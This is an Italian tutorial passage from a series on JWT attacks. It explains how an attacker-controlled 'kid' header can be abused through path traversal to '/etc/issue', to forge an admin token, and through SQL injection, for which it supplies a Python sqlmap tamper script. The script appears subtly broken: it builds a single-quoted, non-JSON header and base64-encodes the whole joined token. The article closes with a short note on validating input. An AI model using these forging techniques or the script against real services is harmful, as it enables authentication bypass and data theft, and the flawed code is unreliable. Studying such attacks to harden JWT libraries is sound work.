JWT kid (Key Identifier)


Il parametro "kid" nei JWT fa parte di quella serie di parametri opzionali del Header di un token, come indica il nome stesso serve ad identificare la chiave che l'algoritmo deve utilizzare per verificare la validità del token, verificando la JSON Web Signature(JWS, rfc7517).

The "kid" (key ID) Header Parameter is a hint indicating which key
was used to secure the JWS.

IF(kid==file/path)


Alcune librerie di gestione dei token JWT potrebbero utilizzare il valore contenuto nel parametro kid per decidere quale file contenete la chiave da caricare e utilizzare per validare il token. Avendo il controllo sul contenuto del campo kid del Header del token, è possibile specificare un file arbitrario da caricare, per esempio pippo:

Header: {"alg": "RS256","typ": "JWT","kid": "pippo"}

Ora che abbiamo il controllo sulla chiave che viene utilizzata per validare il token, dobbiamo scegliere un file di cui possiamo predirne il contenuto. É qui che entra in gioco una fase di fingerprinting per identificare il sistema operativo della macchina host. Una volta compreso il sistema operativo, si possono valutare i file che potrebbero o dovrebbero avere il medesimo contenuto attraverso differenti installazioni. Ad esempio, scegliamo "../../../../../etc/issue" in caso di una macchina host con sistema Debian.

Dopo aver scelto il nostro file, dovremo modificare il payload del nostro token a piacimento e valorizare il parametro kid con il path arbitrario. Fatti questi due passaggi, dobbiamo firmare il nuovo token utilizzando come chiave il contenuto del file scelto.

Header: {"alg": "RS256","typ": "JWT","kid": "../../../../../etc/issue"}
Payload: {"sub": "1234567890","name": "admin","iat": 1516239022}

Un POC d'esempio è presente nella repository github dedicata a questa serie di articoli! Link al fondo dell'articolo.

Bene! ora hai ottenuto il token modificato e firmato, non ti resta che usarlo per autenticarti con l'applicazione.

...where id=[kid]


Se il valore contenuto nel parametro kid venisse inserito in una query senza seguire le best prictice?

"select secret from key where id="+token.kid

Quindi ipotizzando che effettivamente ci sia una vulnerabilità di tipo SQLi, dovremmo scrivere un tamper per SqlMap!

Nota: una SQLi in questo contesto, molto probabilmente si tratterà di una "Time-based blind"

#!/usr/bin/env python2

"""
Copyright (c) 2018-2019 zi0Black
"""

import base64

from lib.core.enums import PRIORITY
from lib.core.settings import UNICODE_ENCODING

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):

    header="{'alg': 'HS256','typ': 'JWT','kid': %s}" % (payload)
    payload_signature="eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"
    return base64.b64encode(header.encode(UNICODE_ENCODING)+'.'+payload_signature) if payload else payload

Si tratta di un tamper molto semplice che ci permette di utilizzare Sqlmap contro un parametro kid vulnerabile a SQLi, penso che non siano necessarie molte spiegazioni sul come utilizarlo... (Tutta roba che si può trovare nella wiki!)

Fine Terza Parte. Bonus?


Questi sono solo due possibili esempi di come sfruttare un input non correttamente gestito nelle implementazioni di librerie per la gestione dei token JWT. Il consiglio è quello di analazzire l'implemntazione della libreria per verificare che l'input sia corettamente gestito e non venga passato a funzioni potenzialmente pericolose.

"Never trust user input" "Never trust user tooken"

Tools